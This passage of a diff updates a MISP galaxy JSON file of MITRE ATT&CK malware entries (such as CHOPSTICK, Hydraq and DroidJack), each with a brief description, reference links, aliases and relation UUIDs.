triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)", + "meta": { + "external_id": "S0220", + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0220", + "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + ], + "synonyms": [ + "Chaos" + ] + }, + "related": [ + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5bcd5511-6756-4824-a692-e8bb109364af", + "value": "Chaos - S0220" + }, + { + "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "meta": { + "external_id": "S0022", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0022", + "https://securelist.com/the-epic-turla-operation/65545/" + ], + "synonyms": [ + "Uroburos" + ] + }, + "related": [ + { + "dest-uuid": "22332d52-c0c2-443c-9ffb-f08c0d23722c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "d674ffd2-1f27-403b-8fe9-b4af6e303e5c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "80a014ba-3fef-4768-990b-37d8bd10d7f4", + "value": "Uroburos - S0022" + }, + { + "description": "[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)", + "meta": { + "external_id": "S0202", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0202", + "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + ], + "synonyms": [ + "adbupd" + ] + }, + "related": [ + { + "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "value": "adbupd - S0202" + }, + { + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [Android version of the malware](https://attack.mitre.org/software/S0314).", + "meta": { + "external_id": "S0023", + "mitre_platforms": [ + "Windows", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0023", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://www.justice.gov/file/1080281/download" ], "synonyms": [ "CHOPSTICK", @@ -1030,8 +5595,7 @@ "Xagent", "X-Agent", "webhp" - ], - "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472" + ] }, "related": [ { @@ -1061,533 +5625,705 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "64196062-5210-42c3-9a02-563a0d1797ef", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "CHOPSTICK" + "uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472", + "value": "CHOPSTICK - S0023" }, { - "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT", + "description": "[DroidJack RAT](https://attack.mitre.org/software/S0320) is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games. (Citation: Zscaler-SuperMarioRun) (Citation: Proofpoint-Droidjack)", "meta": { + "external_id": "S0320", "refs": [ - "https://attack.mitre.org/wiki/Software/S0046", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + "https://attack.mitre.org/software/S0320", + "https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat", + "https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app" ], "synonyms": [ - "CozyCar", - "CozyDuke", - "CozyBear", - "Cozer", - "EuroAPT" - ], - "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754" - }, - "value": "CozyCar" - }, - { - "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]\n\nAliases: ChChes, Scorpion, HAYMAKER", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0144", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" - ], - "synonyms": [ - "ChChes", - "Scorpion", - "HAYMAKER" - ], - "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e" + "DroidJack" + ] }, "related": [ { - "dest-uuid": "d71604d2-a17e-4b4e-82be-19cb54f93161", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1", + "value": "DroidJack - S0320" + }, + { + "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)", + "meta": { + "external_id": "S0203", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0203", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/connect/blogs/trojanhydraq-incident", + "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", + "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf", + "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", + "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", + "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", + "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/" + ], + "synonyms": [ + "Hydraq", + "Aurora", + "9002 RAT" + ] + }, + "related": [ + { + "dest-uuid": "70c31066-237a-11e8-8eff-37ef1ad0c703", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "6eee9bf9-ffce-4c88-a5ad-9d80f6fc727c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "ChChes" - }, - { - "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0050", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "CosmicDuke", - "TinyBaron", - "BotgenStudios", - "NemesisGemina" - ], - "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee" - }, - "value": "CosmicDuke" - }, - { - "description": "CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]\n\nAliases: CloudDuke, MiniDionis, CloudLook", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0054", - "https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "CloudDuke", - "MiniDionis", - "CloudLook" - ], - "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df" - }, - "value": "CloudDuke" - }, - { - "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CORESHELL, SOURFACE", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0137", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" - ], - "synonyms": [ - "CORESHELL", - "SOURFACE" - ], - "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81" - }, - "related": [ - { - "dest-uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa", + "dest-uuid": "bab647d7-c9d6-4697-8fd2-1295c7429e1f", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "CORESHELL" - }, - { - "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped.[[Citation: FireEye FIN7 March 2017]][[Citation: Cisco DNSMessenger March 2017]]\n\nAliases: POWERSOURCE, DNSMessenger", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0145", - "http://blog.talosintelligence.com/2017/03/dnsmessenger.html", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" - ], - "synonyms": [ - "POWERSOURCE", - "DNSMessenger" - ], - "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351" - }, - "related": [ - { - "dest-uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab", + "dest-uuid": "2f899e3e-1a46-43ea-8e68-140603ce943d", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f", + "value": "Hydraq - S0203" + }, + { + "description": "[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)", + "meta": { + "external_id": "S0230", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0230", + "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts", + "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + ], + "synonyms": [ + "ZeroT" + ] + }, + "related": [ + { + "dest-uuid": "ff00fa92-b32e-46b6-88ca-98357ebe3f54", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "POWERSOURCE" - }, - { - "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0077", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5" - }, - "value": "CallMe" - }, - { - "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]\n\nAliases: Carbanak, Anunak", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0030", - "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" - ], - "synonyms": [ - "Carbanak", - "Anunak" - ], - "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4" - }, - "related": [ - { - "dest-uuid": "8c246ec4-eaa5-42c0-b137-29f28cbb6832", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Carbanak" - }, - { - "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]\n\nAliases: Crimson, MSIL/Crimson", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0115", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" - ], - "synonyms": [ - "Crimson", - "MSIL/Crimson" - ], - "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2" - }, - "related": [ - { - "dest-uuid": "8d8efbc6-d1b7-4ec8-bab3-591edba337d0", + "dest-uuid": "9b0aa458-dfa9-48af-87ea-c36d1501376c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "858edfb8-793a-430b-8acc-4310e7d2f0d3", + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "a61fc694-a88a-484d-a648-db35b49932fd", + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "Crimson" - }, - { - "description": "WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0155", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "uuid": "a89ed72c-202d-486b-9349-6ffc0a61e30a" - }, - "related": [ - { - "dest-uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "WINDSHIELD" - }, - { - "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0135", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", - "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" - ], - "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4" - }, - "value": "HIDEDRV" - }, - { - "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0159", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" - ], - "uuid": "12b524b9-0d94-400f-904f-615f4f764aaf" - }, - "related": [ - { - "dest-uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" + "type": "uses" }, { - "dest-uuid": "6a42aa10-5b7e-43b0-8c58-414cdaeda453", + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "SNUGRIDE" - }, - { - "description": "RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0003", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" - ], - "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e" - }, - "related": [ - { - "dest-uuid": "91583583-95c0-444e-8175-483cbebc640b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "RIPTIDE" - }, - { - "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0049", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6" - }, - "related": [ - { - "dest-uuid": "6a28a648-30c0-4d1d-bd67-81a8dc6486ba", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "GeminiDuke" - }, - { - "description": "HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]\n\nAliases: HDoor, Custom HDoor", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0061", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "synonyms": [ - "HDoor", - "Custom HDoor" - ], - "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b" - }, - "value": "HDoor" - }, - { - "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0051", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c" - }, - "value": "MiniDuke" - }, - { - "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0052", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e" - }, - "related": [ - { - "dest-uuid": "abd10caa-7d4c-4c22-8dae-8d32f13232d7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "OnionDuke" - }, - { - "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0048", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164" - }, - "value": "PinchDuke" - }, - { - "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0139", - "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" - ], - "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a" - }, - "related": [ - { - "dest-uuid": "c79f5876-e3b9-417a-8eaf-8f1b01a0fecd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PowerDuke" - }, - { - "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.[[Citation: F-Secure The Dukes]]\n\nAliases: SeaDuke, SeaDaddy, SeaDesk", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0053", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "SeaDuke", - "SeaDaddy", - "SeaDesk" - ], - "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14" - }, - "related": [ - { - "dest-uuid": "1d07212e-6292-40a4-a5e9-30aef83b6207", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "SeaDuke" - }, - { - "description": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]\n\nAliases: DustySky, NeD Worm", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0062", - "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf" - ], - "synonyms": [ - "DustySky", - "NeD Worm" - ], - "uuid": 